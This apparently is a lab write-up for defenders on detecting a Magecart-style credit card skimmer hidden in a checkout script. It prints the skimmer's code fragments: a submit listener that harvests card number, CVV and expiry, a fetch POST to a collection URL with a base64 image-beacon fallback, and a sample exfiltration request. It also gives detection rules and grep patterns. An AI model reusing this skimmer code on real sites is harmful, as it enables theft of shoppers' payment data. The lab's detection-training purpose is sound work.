This lab demonstrates a basic Magecart-style credit card skimming attack that intercepts form submissions to steal payment data.
Classic Magecart attacks work by:
addEventListener('submit')Location: /vulnerable-site/js/checkout-compromised.js:240-434
// LEGITIMATE CODE BLOCK
;(function () {
'use strict'
// ... legitimate checkout code ...
})()
// MALICIOUS CODE BLOCK (appears later in same file)
setTimeout(function () {
;(function () {
'use strict'
const CONFIG = {
exfilUrl: 'http://localhost:9002/collect',
delay: 200,
debug: true
}
// ... skimmer code ...
})()
}, 500)
Detection Rule: Two separate IIFE blocks in the same file, especially with setTimeout wrapping the second block.
Location: /vulnerable-site/js/checkout-compromised.js:245-249
const CONFIG = {
exfilUrl: 'http://localhost:9002/collect',
delay: 200,
debug: true
}
Detection Rule: Look for configuration objects containing URLs to non-primary domains, especially with keys like exfilUrl, c2Server, collectUrl, or beaconUrl.
Location: /vulnerable-site/js/checkout-compromised.js:397-414
form.addEventListener('submit', function (event) {
log('Form submission detected')
const cardData = extractCardData()
if (hasValidCardData(cardData)) {
setTimeout(() => {
exfiltrateData(cardData)
}, CONFIG.delay)
}
// CRITICAL: Allow legitimate checkout to continue
})
Detection Rule: Event listeners that extract form data and make external network requests without preventing default form behavior.
Location: /vulnerable-site/js/checkout-compromised.js:261-305
function extractCardData() {
return {
cardNumber: getFieldValue([
'#card-number',
'input[name="cardNumber"]',
'input[autocomplete="cc-number"]'
]),
cvv: getFieldValue([
'#cvv',
'input[name="cvv"]'
]),
expiry: getFieldValue([
'#expiry',
'input[name="expiry"]'
])
// ... plus metadata
}
}
Detection Rule: Functions that systematically query multiple selectors for payment-specific fields (card numbers, CVV, expiry dates).
Location: /vulnerable-site/js/checkout-compromised.js:332-379
function exfiltrateData(data) {
fetch(CONFIG.exfilUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data),
mode: 'cors',
credentials: 'omit'
})
.catch(error => {
// Fallback method
const img = new Image()
const params = new URLSearchParams({
d: btoa(JSON.stringify(data))
})
img.src = CONFIG.exfilUrl + '?' + params.toString()
})
}
Detection Rules:
- POST requests to unexpected domains during form submission
- Image beacon fallback with base64-encoded data in query parameters
- Use of credentials: 'omit' to avoid sending cookies
- Multiple exfiltration attempts with different methods
Outbound C2 Communication:
POST http://localhost:9002/collect
Content-Type: application/json
{
"cardNumber": "4532-1234-5678-9010",
"cvv": "123",
"expiry": "12/25",
"cardholderName": "John Doe",
"billingAddress": "123 Main St",
"timestamp": 1704067200000,
"url": "http://localhost:9001/checkout.html",
"userAgent": "Mozilla/5.0...",
"screenResolution": "1920x1080"
}
Detection Indicators: - Unexpected POST requests during form submission - JSON payloads containing payment card data - Requests to non-payment-processor domains - Timing: Requests triggered 200ms after form submission
Open DevTools (F12) and check:
Network Tab:
Sources Tab:
checkout-compromised.jsexfilUrl, CONFIG, extractCardDataConsole Tab:
[SKIMMER] log messagesGrep/ripgrep commands to scan codebase:
# Search for exfiltration URLs
grep -r "exfilUrl\|c2Server\|collectUrl" --include="*.js" .
# Search for form event listeners
grep -r "addEventListener.*submit" --include="*.js" .
# Search for suspicious setTimeout with IIFE
grep -r "setTimeout.*function.*CONFIG" --include="*.js" .
# Search for data extraction patterns
grep -r "cardNumber\|cvv.*expiry" --include="*.js" .
# Search for fetch/beacon patterns
grep -r "fetch.*POST\|new Image.*src" --include="*.js" .
Critical files to monitor:
- /vulnerable-site/js/checkout.js → Should match checkout-compromised.js lines 1-239
- Any unexpected changes to checkout-related JavaScript files
- File size increases (skimmer code adds ~200 lines)
Behavioral indicators to monitor:
Event Listener Anomalies:
preventDefault()Network Activity Patterns:
DOM Query Patterns:
This lab simulates attacks similar to:
This lab provides training data for:
01-basic-magecart/
├── vulnerable-site/ # Target e-commerce website
│ ├── index.html # Store homepage
│ ├── checkout.html # Checkout page (loads compromised JS)
│ ├── js/
│ │ ├── checkout.js # Original legitimate code
│ │ └── checkout-compromised.js # Legitimate + skimmer
│ ├── css/
│ │ └── style.css # Website styles
│ └── images/ # Product images
├── malicious-code/ # C2 server infrastructure
│ └── c2-server/
│ ├── server.js # Data collection server
│ ├── dashboard.html # Stolen data viewer
│ └── package.json # Server dependencies
└── test/ # Playwright test suite
└── tests/
└── cc-exfiltration.spec.js
This lab provides foundational training for detecting Magecart-style attacks that have compromised thousands of e-commerce websites worldwide.